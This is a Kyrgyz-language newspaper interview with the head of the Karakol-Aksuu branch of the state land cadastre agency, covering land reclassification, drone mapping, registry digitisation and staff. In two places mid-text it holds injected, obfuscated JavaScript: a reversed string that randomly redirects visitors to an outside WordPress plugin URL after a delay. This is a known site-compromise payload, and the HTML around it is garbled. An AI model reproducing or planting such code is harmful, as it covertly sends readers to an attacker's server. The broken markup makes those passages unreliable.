Учур маселеси.
Жер ресурстары боюнча мамлекеттик агенттигинин “Кадастр” мамлекеттик мекемесинин Каракол-Аксуу филиалынын жетекчиси Сатар Жаркымбаев:
— Сатар Мусилинович, жетекчилик жооптуу кызматка келгенге чейин такшалуу, тажрыйба топтоо тепкичтеринен өттүңүз. Ошол алгачкы эмгек жолдоруңуздан эскерип кетсеңиз.
— 2002-жылы Каракол-Аксуу боюнча аталган мекеменин архивариусу болуп иштеп, оозго алындым. Ал эми 2006-жылдан 2016-жылга чейин ушул эле тармакта Ысык-Көл районунда эмгектендим. 10 жыл ичинде такшалдым, тажрыйба топтоого айрыкча көңүл бурдум. Баарыбызга беш манжадай белгилүү болгондой Ысык-Көл районунда жер-суу маселесинин тегерегинде талаш-тартыштар арбын. Көгүлтүр көл жээгинде эс алуучу жайлар, санаториялар да жыш жайгашкан. Демек, аталган райондо өткөн 10 жылым текке кетпеди. Айталык, каттоо бөлүмүнүн башчысы болуп 5 жыл иштедим. Бөлүмдүн күзгүсү болуучу архивин чыңдоого көп күч жумшалды. Архивдик иш кагаздарды ырааттоо жана инвентаризациялоодон толук кандуу өткөрүү аягына чыкты. Оңдоо иштери илгериледи. Мурда орун алып келген кемчиликтер кыскарды. Тартипке салынды.
Азыркы жетекчилик жооптуу кызматка конкурстун жыйынтыгы менен бекидим. Тестирлөө баш болгон сыноо, аңгемелешүүлөрдөн шыр өттүм. Даярдык, билим деңгээл, изденүү жемишин берет экен.
Эң башкы жаңылык, Каракол шаардык кеңешине талапкер болуп катышып, шайлоочулардын колдоосуна ээ болдум. Учурда шаардык кеңештин жер комиссиясынын төрагасымын. Жер маселеси боюнча талаш-тартыштарды эч токтоосуз чечүүгө зор мүмкүнчүлүк ачылды. Мыйзам чегинде эң биринчи элди ыраазы кылсак, алардын батасы гана тиет.
— Жетекчилик жооптуу кызматтын эки тизгин-бир чылбырын кармаганыңызга да аз гана убакыт болду. Ишти илгерилетүү жеңил болбосо керек.
— Айтканыңызда калет жок. Район жетекчилери мамлекеттик администрациялардын башчылары, акимдери да ротацияланды. Ошол себептен жаңы акимибиз баш болуп биринчи кезекте айыл өкмөттөрү менен кеңири таанышуу жыйындарын өткөрүп, эл-журт менен бетме-бет жуурулушуп, эл үнүн жеринде угууга өзгөчө көңүл бурдук.
Ак-Суу районунда 14 айыл өкмөтү бар. Ушул убакка чейин чечилбей келген кемчиликтерди четтетүү оңой эмес. Район боюнча 2009-жылга чейин трансформация өткөрбөстөн үй курууга бөлүнгөн жер тилкелерди бир категориядан башка категорияга трансформациялоо иштери жанданды. “Кадастр” ММ Каракол-Аксуу филиалы район боюнча 696,64 гектар жер тилкени айыл чарба категориясынан калктуу конуш жерлери категориясына которууга (трансформациялоого) иш кагаздарды даярдаган. Даярдалган иш кагаздарды Жер ресурстары боюнча агенттигинин жана Айыл, суу чарба жана аймактарды өнүктүрүү министрлиги тарабынан жактырылышы үчүн аталган агенттиктин жана министрликтин кызматкерлери менен тыгыз иш алып барып, бардык тийиштүү иш кагаздары толукталды. Жыйынтыгында 12 айыл аймагынын ичинен: 2 айыл аймагынын иш кагаздары Айыл, суу чарба жана аймактарды өнүктүрүү министрлиги тарабынан жактырылып, Министрлер Кабинетинин кароосуна тапшырылды; 7 айыл аймагынын иш кагаздары Айыл, суу чарба жана аймактарды өнүктүрүү министрлигинин кароосунда жактырылып, башка министрликтер менен макулдашылууда; 2 айыл аймагынын иш кагаздары Жер ресурстары боюнча мамлекеттик агенттигинин кароосунда;
1 айыл аймагынын иш кагаздары жергиликтүү айыл аймагынын айыл өкмөтүнүнөз милдеттерин жетиштүү деңгээлде аткарбаган себептеринен Ак-Суу районунун жергиликтүү комиссиясынын кароосунда турат.
Жыргалаң айыл аймагынын жашоочуларынын көбөйүшүнөн, турак жайларды курууга жер тилкелердин тартыштыгынан улам жерге болгон муктаждык тереңдеди. Ошондой эле туризмди өнүктүрүү учур талабы. Ат арытып алыстан келген конокторду, туристтерди орноштурууга заманбап шарттарды түзүү, мейманканаларды куруу зарыл. Тилекке каршы, курууга ылайыктуу жер тилкелери көздөн учат. Ошондуктан Жыргалаң айылынын аянтын кеңейтүү талабы курчууда. Ал үчүн токой чарбачылыгына тийиштүү жайыт жерлердин эсебинен калктуу конуш категориясындагы жерге которуп (трансформациялап), Жыргалаң айыл аймагынын административдик чегинин баяндамасын түзүү жана бекитүү керек. Айыл, суу чарба жана аймактарды өнүктүрүү министрлиги тарабынан бул иштин саатын чыгарууга басым жасалууда.
Жыргалаң айыл аймагынын айыл өкмөтүнүн демилгеси менен “Кадастр” мамлекеттик мекемесинин Каракол-Аксуу филиалынын жана ГИС бөлүмүнүн адистери Жыргалаң айылында аэрофотосъемкаларды жүргүзүштү. Жыйынтыгы менен аталган айыл аймагынын административдик чегинин баяндамасынын долбоору даярдалды. Жыргалаң айыл кеңешинин жана Жаратылыш ресурстарын коргоо жана пайдалануу департаментинин кароосуна сунушталды.
Долбоор боюнча токой чарбасына тийиштүү 106,6 га жерин трансформациялоо каралууда. Жыйынтыгында Жыргалаң айылынын жалпы аянты 180 гектар болот.
Аталган айыл өкмөтүнө мыйзам чегинде жер тилке өткөрүлүп берилсе, туризм менен шугулданган ишкерлер ак өргөлөрүн көтөрүшүп, туристтерди кабыл ала башташат. Туристтердин кызыкчылыгын көздөгөн заманбап шарттар түзүлөт. Ушул урунттуу маселелерди жакын арада чечип алсак, албетте, пайдасын гана көрөбүз. Табиятыбыздын кооздугун, сулуулугун даңазалоо ар бирибиздин милдетибиз.
Учурда электр энергиясына болгон таңсыктык тынчыбызды алууда. Андыктан районубузда энергиянын кайра жаралуучу булактарын жандандыруу колго алынууда. “Кадастр” ММ Каракол-Аксуу филиалынын адистери Ак-Булуң айыл аймагындагы Түргөн суу фондусунун жерин чакан ГЭС курууга бөлүп берүү маселесин бышыктоодо. Иш кагаздары даярдалып, тийиштүү мекемелердин кароосуна өткөрүлүп берилди. Бул иш-чаралар филиал тараптан акы төлөөсүз даярдалды. Даярдалган иш кагаздарды Министрлер Кабинети жактырып, токтомун кабыл алса райондо 2 мегаватт электр энергиясын берүүчү чакан ГЭС курулат.
Мындан сырткары “Кадастр” мамлекеттик мекемесинин ГИС бөлүмүнүн адистери районубузга иш сапары менен келгенде көп маселелерди чечүүгө аракеттендик. Челпек, Кара-Жал, Октябрь, Теплоключенка, Бөрү-Баш айыл аймактарында айыл чарба багытындагы такталбай калган, такталууга тийиш болгон жерлерди дрон аркылуу тартуу жүргүзүлдү. Айыл аймактарында жарандардын үлүшкө алган жерлеринин чектерин көрсөтүү менен электрондук карта түзүлүүдө. Картага ар бир үлүш жер тилкенин чеги “Кирг-06” координат системасында түшүрүлүүдө. Жер тилкелеринин чектери боюнча талаш-тартыш маселелери пайда болгон учурда аталган картадагы координаттары боюнча ар бир жер тилкенин чегин башка жарандардын жер тилкелерин ченебестен ордунан так орнотуу мүмкүн болот.
Замандын талаптарына ылайык бардык иш кагаздар кагаз бетинде эле болбостон, электрондук ташуучуларда болушу абзел. Алты айдын ичинде Кыргыз Республикасында жер реформасы өткөн учурдан так айтканда 1994-жылдан бери жарандарга жер үлүшүн берүү боюнча түзүлгөн иш кагаздарды сканерлөө менен жер үлүштөрүн алган жарандардын электрондук тизмеси даярдалды. Долбоордо электрондук тизмени жергиликтүү айыл аймактарынын айыл өкмөттөрүнө иш алып баруусун жеңилдетүү максатында өткөрүп берилет.
{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>too.kg/wp-content/uploads/2021/07/gezit-materialdaryna-9.jpg» alt=»» class=»wp-image-16005″/><figcaption><strong>Улан Балпанов</strong></figcaption></figure>
<p>Каттоо бөлүмүндө дагы бир нече иштер аткарылды, алты айдын ичинде 2500 кыймылсыз мүлккө болгон каттоо иш кагаздары кайрадан сканерлөөдөн өткөрүлүп, автоматташтырылган каттоо системасына маалымат киргизилди. Ошону менен бирге 74889 кыймылсыз мүлккө болгон иш кагаздар кайрадан верификация (кагаздагы ташыгычтагы маалыматты электрондук ташыгычка өткөрүү) иш-чаралар өткөрүлдү.</p>
<p><strong>— Айыл жерлериндей эле шаар жеринде да чечиле турган маселелер сейрек эмес. Облус борборунда козголуп жаткан жаңылыктарыңыздардын сааттары чыкчудайбы?</strong></p>
<p>— Албетте, шаар мэриясы менен биргеликте жасай турган иштерибиз чекесинен аткарыла баштады. Шаардык кеңешинин демилгеси менен Каракол шаарынын муниципалдык менчигиндеги жер тилкелер боюнча реестр түзүүгө шарт түздүк. Бул ишти аткарууга Кыргыз Республикасынын Айыл, суу чарба жана аймактарды өнүктүрүү министрлигинин алдындагы Жер ресурстары боюнча мамлекеттик агенттигинин “Кадастр” мамлекеттик мекемесинин ГИС бөлүмүнүн жардамы менен Каракол шаарында пилотсуз учкан дрон аркылуу сүрөткө тартуу жыйынтыгы менен электрондук картага ар бир жер тилкенин факт жүзүндөгү жана юридикалык чектери түшүрүлдү. Ошону менен катар шаарыбызда жеке жарандардын мыйзамдаштырбастан колдонуусундагы муниципалдык менчик жерлер аныкталды. Аткарылган иштердин жыйынтыгы менен мындан ары Каракол шаарынын мэриясы менен бирге иш алып барууга “Karakolmep Kg” атайын интернет сайт түзүлдү. Бул сайтка “Кадастр” ММ Каракол-Аксуу филиалы ар бир жер тилкенин юридикалык жана факт жүзүндөгү чектеринин өзгөрүүсүн түшүрүп турат. Каракол шаарынын мэриясы болсо сайт аркылуу муниципалдык мүлк реестрин түзүп, мыйзамдаштырбастан муниципалдык жер тилкелерди колдонуп жүргөн жарандар менен иш алып барышат. Тактап айтканда, өз билемдик менен жер тилкени пайдаланып жүргөн жарандар мындан ары ижара келишимдерин түзүшөт. Жер тилкени өз калыбына келтирүү шаардын бюджетин толтурууга салым кошот.</p>
<p> Шаардагы кыймылсыз мүлктөрдүн электрондук карталарын түзүү аракеттерибиз үзүрүн берип жатат. Жарым жыл ичинде 1080 жер участокторуна убактылуу пайдаланууга укук күбөлүктөрү берилди.</p>
<p><strong>— Кадр жагынан такшалуу, өсүү жагын чыңдап, жакшы жолго коюп жатыпсыздар. Натыйжасы чыкчудайбы?</strong></p>
<p>— Жалпы жамаатыбыз негизинен жаштардан турат. Ар бир бөлүмдүн кызматкерлеринин иш-аракеттери көз жаздымда калтырылбайт. Жакшы иштегендерди көтөрүү, бөлүмдөр арасында ротациялоо колго алынган. Жакшы иштегендер 6 айда бир ротацияланып турат. Мындай стимул жакшы иштөөгө түрткү берүүдө. Ошондуктан көптүн катарында эптеп иштеп күн өткөрүү эч биринин оюна келбейт.</p>
<p>Жалпы 42 кызматкер бар. Жумасына 2 жолу спорттук оюндар менен ден соолуктарын чыңдап турушат. Жумасына бир жолу Кыргыз Республикасынын мыйзамдарына киргизилген өзгөртүүлөр менен тааныштыруу болуп турат. Адистерибиз мыйзамдарды жакшы билишет. Билимдерин чыңдоого айрыкча көңүл бөлүшөт. Адистердин мыйзамдарды билүү деңгээли текшерилип турат.</p>
<p>Иштин алдыга кетип жатканынын бирден-бир далили эмгек тартиби катуу сакталган. Келип-кетүү журналына катталышып, бардык иш маалындагы кыймылдары белгилүү. Себепсиз жүргөндөрдүн аягы тыйылган. Пандемиянын алдын алуу боюнча бардык санитардык-гигиеналык эрежелери сакталган.</p>
<figure class=)
{if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>too.kg/wp-content/uploads/2021/07/gezit-materialdaryna-10.jpg» alt=»» class=»wp-image-16006″/></figure>
<p><strong>— Сиздердин иштер чынында татаал. Жер демекчи кийинки кезде ага-ини тургай ата-бала, андан калса агайын туугандар жер талашып, көйгөйүңүздөр көп. Мында жамаатыңыздын эмгектери, мээнеттери ченемсиз.</strong></p>
<p>— Айтканыңызда калет жок. Жамааттын эмгеги чоң. Сотко жеткиришпей чечүүгө чечкиндүү кадамдарды жасашып, жараштыруу жолу менен оң жолго салган мисалдар четтен чыгат. Эгер чектен чыгып баратышса албетте, сот аркылуу чечүүгө туура келет.</p>
<p>Талаштуу маселелерди чечүүдө албетте ар бирибиздин кесипкөйлүгүбүз башкы ролду ойнойт. Бекеринен жумасына бир жолу мыйзамдар менен кең-кесири таанышып жатканыбыз жок. Орун басарым Улан Балпановдун эмгектенгенине 20 жылдан ашып баратат. “Дарак бир жерден көгөрөт” демекчи бир жерде эмгектенүү менен нечен кемчиликтердин кыскарышына кызмат кылууда. Иштин үтүр, чекитине чейин билгендиктен кандай гана талаштуу маселелер болбосун тез арада өз ордуна коёт. Жаңылыштыктар сүрсүбөстөн четтетилет.</p>
<p>Бизде 2 бөлүм бар, каттоо бөлүмүн Арзамат Алымбаев жетектейт. Ал эми жер кадастр бөлүмүн Талант Мамбетов башкарат. Бөлүм иштери жакшы жолго коюлган. Көп жылдан бери иштеген жер адиси Атыр Кендирбаева жана каттоо бөлүмүнүн адиси Дамира Ибраева эжелерибиз, Сапарбек уулу Мырзабек, ар тармакта эмгектенип келген юрист Марина Чолпонбаева башкаларга устат десек туура болот. Бекем тартип, туура багыттардан жазбай, жакшы иштөөгө милдеттүүбүз.</p>
<p>6 айдын жыйынтыгы боюнча жүзүбүз жарык. Жылдык планыбыз боюнча 18 млн сомдук иштерди аткарууга тийиш болсок, 6 айдын ичинде иш жүзүндө 11 млн сомго жеткирип, 6 айлык планды 138 пайызга ашыгы менен аткардык. Жылды эң жакшы көрсөткүчтөр менен аяктарыбызга ишеним чоң.</p>
<p class=)
Айчүрөк Макешова
